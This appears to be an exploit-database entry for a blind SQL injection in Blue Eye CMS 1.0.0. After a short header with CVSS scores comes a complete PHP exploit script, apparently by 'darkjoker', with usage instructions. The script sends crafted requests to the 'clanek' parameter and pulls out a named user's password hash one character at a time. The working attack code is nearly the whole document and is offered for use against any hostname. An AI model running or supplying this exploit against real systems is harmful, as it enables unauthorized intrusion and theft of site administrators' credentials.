Blue Eye CMS <= 1.0.0 (clanek) Blind SQL Injection Exploit

2009.02.08
Credit: darkjoker
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

--+++===============================================================+++-- --+++====== Blue Eye CMS <= 1.0.0 Blind SQL Injection Exploit ======+++-- --+++===============================================================+++-- <?php function usage () { echo "\n[+] Blue Eye CMS <= 1.0.0 Blind SQL Injection Exploit". "\n[+] http://kent.dl.sourceforge.net/sourceforge/blueeyecms/blue_eye_cms-1_0_0_preRC.rar". "\n[+] Author: darkjoker". "\n[+] Site : http://darkjoker.net23.net". "\n[+] Usage : php xpl.php <hostname> <path> <username>". "\n[+] Ex. : php xpl.php localhost /BlueEye admin". "\n\n"; exit (); } function query ($user, $pos, $chr) { $query = "x' OR ASCII(SUBSTRING((SELECT password FROM blueeye_users WHERE user = '{$user}'),{$pos},1))={$chr} OR '1' = '2"; $query = str_replace (" ", "%20", $query); $query = str_replace ("'", "%27", $query); return $query; } function decrypt ($hash) { $sha1 = unpack ("H*", base64_decode ($hash)); return $sha1 [1]; } function exploit ($hostname, $path, $user, $pos, $chr) { $fp = fsockopen ($hostname, 80); $chr = ord ($chr); $query = query ($user, $pos, $chr); $get = "GET {$path}/index.php?clanek={$query} HTTP/1.1\r\n". "Host: {$hostname}\r\n". "Connection: Close\r\n\r\n"; fputs ($fp, $get); while (!feof ($fp)) $reply .= fgets ($fp, 1024); fclose ($fp); preg_match ("/Autor: (.+?)<br>/", $reply, $x); if (empty ($x [1])) return false; else return true; } if ($argc != 4) usage (); $hostname = $argv [1]; $path = $argv [2]; $user = $argv [3]; $key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="; $pos = 1; $chr = 0; echo "\n[+] Finding password: "; while ($chr < strlen ($key)) { if (exploit ($hostname, $path, $user, $pos, $key [$chr])) { $pass .= $key [$chr]; echo $key [$chr]; $chr = -1; $pos++; } $chr++; } echo "\n[+] sha1 Hash: "; echo decrypt ($pass) . "\n\n"; ?>


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